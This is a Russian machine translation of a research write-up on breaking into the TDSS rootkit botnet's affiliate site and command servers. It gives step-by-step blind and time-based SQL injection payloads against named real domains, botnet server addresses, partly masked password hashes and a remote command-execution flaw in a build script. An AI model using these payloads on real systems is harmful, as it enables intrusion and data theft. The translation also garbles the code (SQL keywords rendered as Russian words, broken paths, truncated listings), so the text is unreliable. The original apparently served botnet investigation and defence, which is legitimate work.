TDSS является широко распространенное руткит, который образует мощный ботнет. TDSS изучено довольно хорошо сегодня. Howewer, никакие исследования не включают в себя ничего, кроме анализа двоичного кода и общих векторов атак. Основная цель этой статьи состоит в том, чтобы заполнить этот пробел в базе знаний безопасности ИТ, раскрывая механизмы TDSS ботнетов.
Кроме того, мы смиренно надеясь извлечь выгоду существующей методологии расследования компьютерных преступлений. Это исследование показывает общий способ, чтобы найти "цифровой ядро" в cyberband, имея только свой инструмент (вредоносный двоичный файл). Пиз отметить, что этот метод позволяет найти всю техническую информацию о происшествии, в то время как персональный идентификационный и судебное преследование нарушителей остается в правоохранительных органах области.
Статья состоит из двух частей. В первой части процесс разбивания в ботнет покрывается шаг за шагом. Вторая часть посвящена анализу внутренних деталей ботнета. Потому что мы получили доступ к базе данных C & C, объективная статистика ботнета включается в конце статьи.
Ворвавшись в ботнет
Распределение TDSS вредоносных программ осуществляется через партнерскую программу «Dogma Millions».
счет партнера на сайте dogmamillions.com
Наиболее распространенным способом распространять двоичный файл для перенаправления пользователей на целевые страницы, предоставляемые партнерской программе. Визитной пользователя такая целевая страница будет заражен TDSS. Веб-мастер-партнера награжден каждой успешной установки руткита.
Удобные статистика доступна для отслеживания зараженных компьютеров и прибыль. Кроме того, веб-мастер может создавать отдельные субсчета для анализа эффективности различных транспортных кампаний.
Дополнительная учетная запись с ссылкой для загрузки исполняемого файла TDSS
Во-первых, сайт партнерская программа была проанализирована. Это позволило нам получить доступ к статистике базы данных и дампа веб-мастеру domamillions.com сервера. После этого мы перешли к анализу серверов C & C. Инъекция SQL через конфигурационный файл бота можно читать скрипты на сервере. После некоторых исследований нам удалось внедрить веб-оболочку, через одну из уязвимостей, и, наконец, получили корень на C & C. Давайте вдаваться в подробности.
Ворвавшись в партнерской программе
База данных MySQL v5 была установлена на сервере dogmamillions.com. Таким образом, все запросы к базе данных, как описано ниже, выполняются в MySQL языка запросов.
Во- первых, доступ к базе данных была Gaine: во - первых , с помощью инъекции слепых SQL - атаки , а затем с помощью инъекции SQL атаки.
Как уже упоминалось ранее, пользователи могут создавать dogmamillions.com субсчета. Они создаются с помощью HTTP GET-запроса:
http://dogmamillions.com/index.php?r...count&create=1
После выполнения этого запроса новый субсчет с идентификатором 1 создается учетная запись партнера. Он может быть удален, указав его идентификатор в соответствующем GET-запроса:
http://dogmamillions.com/index.php?r...count&delete=1
Слепой атака SQL-инъекция была выполнена следующим образом. Необходимо было создать субсчет с любым ID, а затем попытаться удалить его. Параметр удаления запроса был уязвим, поэтому можно было выполнить атаку, отправив следующий запрос на сервер:
http://dogmamillions.com/index.php?...f(ord(substring((version()),1,1))>1,1 ,0xffff)
Если значение ord(substring((version()),1,1))больше 1, чем ifусловие возвращает 1, и запрос выглядит следующим образом (упрощенно):
http://dogmamillions.com/index.php?r...count&delete=1
Если условие ложно, чем запроса будет выглядеть следующим образом:
http://dogmamillions.com/index.php?r...&delete=0xffff
Таким образом, субсчет будет удален только если условие deleteпараметра верно. Blind SQL Injection атаки могут быть выполнены с использованием этой информации.
Другой вариант той же атаки возможно. createПараметр команды для создания субсчете также уязвима. После запроса создаст субсчетом с идентификатором равным значению первого символа вывода команды версии ():
http://dogmamillions.com/index.php?...ccount&create=ord(substring((version( )),1,1))
Поэтому, если версия базы данных сервера больше 5, чем первый символ строки, возвращаемой версии () команда "5". ASCII-код этого символа 53, поэтому субсчет с идентификатором 53 будет создана учетная запись партнера.
филиалы
affId
affAid
affLogin
affPassword
affGroup
affBalance
affBalanceEarnings
affBalancePayout
affBalanceRefferal
affbalancecpv
affBalanceBonus
affBalancePenalty
affiliatesaccounts
affId
affSid
бонусы
страны
cpvearnings
cronUpdateStatFeeds
cronId
cronCreated
cronStart
cronCompleted
cronDateFrom
cronDateTo
cronStatus
crontime
домены
Я бы
домен
статус
категория
группы
приглашает
менеджеры
Новости
платежи
paymentsfields
paymentsperiods
paymentsproperties
paymentstypes
штрафы
statisticsearnings
statisticsinstalls
statisticsrefferals
substatearnings
Перечень таблиц из dogmamillions.comбазы данных
1: Ro **: c94405aee9b728bad ************ B1F
3: **** над: 5f4dcc3b5aa765d61 ************ F99
Первые субсчета из affiliatesтаблицы dogmamillions.com dogmamillions.comбазы данных
Эксплуатация описанных уязвимостей позволило нам проанализировать сервер баз данных dogmamillions.com.
Ворвавшись в C & C
По состоянию на время этого анализа, серверы C & C из TDSS бот-сети были расположены в следующих доменах и IP-адресов (фрагмент файла конфигурации руткита):
[Tdlcmd]
серверы = https: //d45648675.cn/; https: //d92378523.cn/; https: //91.212.226.62/
wspservers = HTTP: //b11335599.cn/; HTTP: //b00882244.cn/
popupservers = HTTP: //m3131313.cn/
Ботнет контролируется тремя серверами , указанными в serversобласти конфигурационного файла. Таким образом , эти серверы проверяются на наличие уязвимостей в первую очередь.
Анализ бинарного файла бота показал, что данные отправляются на сервер со следующим алгоритмом:
Создание пакета данных;
Закодировать его с помощью алгоритма RC4, использование IP или доменное имя целевого сервера в качестве ключа;
Закодировать его дополнительно с помощью алгоритма Base64;
Отправка данных на сервер.
Псевдокод алгоритмов кодирования и декодирования, выглядит следующим образом:
сhar * encoded_data = base64_encode (rc4_encrypt (данные, ключ));
сhar * decoded_data = rc4_decrypt (base64_decode (данные), ключ);
В данных, которые передаются на сервер троянцем, уязвимости были обнаружены, которые могут быть использованы для выполнения Blind SQL-инъекции и атаки SQL-инъекции.
В частности, после того, как неверный запрос GET сервер возвращается сообщение об ошибке с закодированной строки и полный путь к уязвимому сценарию сервера внутри.
Сообщение об ошибке запроса неправильного сервера
Сообщение об ошибке запроса неправильного сервера
Кодированная строка декодирует следующей команды:
удаления | 42F831D92B3BE5076B635F2347C80A41 | 10000 | 0 | ДВР | Trojan.Agent | C: \ WINDOWS \ system32 \ qo.dll |% SYSDIR% \ qo.dll | успех
Точное назначение этой команды в момент нападения была неясна. Но мы могли бы обнаружить, что третий параметр в спайка разделенным списке уязвима.
Первая версия использовать для чтения данных из базы данных была разработана с использованием метода задержки. Атака запрос как следующим образом:
удаления | 42F831D92B3BE5076B635F2347C80A41 | если (Ord (подстрока ((версия ()), 1,1))> 1, сон (3), 1) | 0 | ДВР | Trojan.Agent | C: \ WINDOWS \ system32 \ qo.dll | SYSDIR \ Qo .dll | успех
Эта атака основана на команде , которая задерживает ответ базы данных в течение 3 секунд в случае успеха и не делает никаких задержек в случае неудачи. Это стандартный вариант слепых SQL - атаки задержки впрыска, за исключением факта , что мы использовали sleep()вместо того , benchmark()так как он не делает нагрузку на СУБД.
База данных
Прежде всего мы проверили , если текущий пользователь имеет привилегии для чтения и записи данных сервера ( File_priv). Чтобы выяснить это, мы послали следующий запрос к серверу:
удаления | 42F831D92B3BE5076B635F2347C80A41 | если (Ord (подстрока ((SELECT File_priv FROM mysql.user WHERE (CONCAT_WS (CHAR (64), пользователь, хост) как пользовательский ())), 1,1))> 1, сон (3), 1) | 0 | ДВР | Trojan.Agent | C: \ WINDOWS \ system32 \ qo.dll | SYSDIR \ qo.dll | успех
Результат использовать для Blind SQL Injection с задержкой
Результат использовать для Blind SQL Injection с задержкой
Атака прошла успешно, таким образом, мы имели возможность читать и записывать файлы на сервере. Однако, так как чтение файлов с предыдущей эксплуатации будет очень медленным, запрос к базе данных была переработана следующим образом:
удаления | 42F831D92B3BE5076B635F2347C80A41 | если (Ord (подстрока ((версия ()), 1,1))> 1,1, (выберите 1 союз выберите 2)) | 0 | ДВР | Trojan.Agent | C: \ WINDOWS \ system32 \ qo.dll | SYSDIR \ qo.dll | успех
Если условие истинно, новая команда возвращает ошибку, и если условие ложно, то команда будет успешно завершена.
Описанная эксплоит позволил нам сбросить базу данных сервера и читать файлы сценариев.
Результаты эксплуатации без задержки
Сценарии
Анализ файла index.phpи сценариев , включенных в него показали новую уязвимость, которая , наконец , позволил нам выполнить классическую атаку типа SQL Injection. Давайте анализировать код index.phpи modules.php:
"
https://213.133.110.18/phpmyadmin/$1")
url.rewrite однократно = ( "^ / 087dggl094aa / \? помощь = (. *) & с.и.д. = (. *) $" => "/MakeBuild.php?aid=$1&sid=$2")
accesslog.filename = "/var/log/lighttpd/build.log"
}
server.document-корень = "/ Var / WWW / dm_builder / PHP /"
}
$ SERVER [ "гнездо"] == "212.117.162.50:80" {
$ HTTP [ "хостов"] = ~ "(. *)?" {
server.document-корень = "/ Var / WWW / dm_builder / PHP /"
# Url.redirect = ( "^ / PHPMyAdmin /(.*)" => "
https://213.133.110.18/phpmyadmin/$1")
url.rewrite однократно = ( "^ / 087dggl094aa / \? помощь = (. *) & с.и.д. = (. *) $" => "/MakeBuild.php?aid=$1&sid=$2")
accesslog.filename = "/var/log/lighttpd/build.log"
}
server.document-корень = "/ Var / WWW / dm_builder / PHP /"
}
$ SERVER [ "гнездо"] == "91.212.226.60:443" {
ssl.engine = "включить"
ssl.pemfile = "/etc/lighttpd/ssl/chief.pem"
server.document-корень = "/ Var / WWW / двигатель / общественность"
server.errorlog = "/var/log/lighttpd/engine_error.log"
accesslog.filename = "/var/log/lighttpd/engine_access.log"
url.rewrite = однократно ( "^ / (. *) $" => "/index.php?request=$1")
}
Часть engine.conf
Файл engine.conf содержатся настройки для шести серверов. Только двое из них были настроены для перенаправления HTTP - запросов index.php. Остальные серверы были настроены для перенаправления запросов HTTPS на MakeBuild.php.
MakeBuild.phpСценарий был разработан, чтобы собрать и настроить TDSS руткит двоичный файл. Сценарий принимает ряд аргументов, один из них поставляя информацию отладки для двоичного файла.
\ п + ------------------------------ + \ п"; print_r ($ выход); эхо "\ п = ------------------------------ = \ п"; выход ( 'Builder статус выхода:'. $ статус_завершения); }
Часть MakeBuild.phpсценария
Как вы можете видеть из листинга, аргументы сценария, не проверяются перед передачей их в exec()функцию, поэтому удаленное выполнение команды может занять место там. Кроме того, dbgпараметр позволяет печатать выходные данные выполняемой команды.
взял сдесь
http://www.nobunkum.ru/analytics/en-tdss-botnet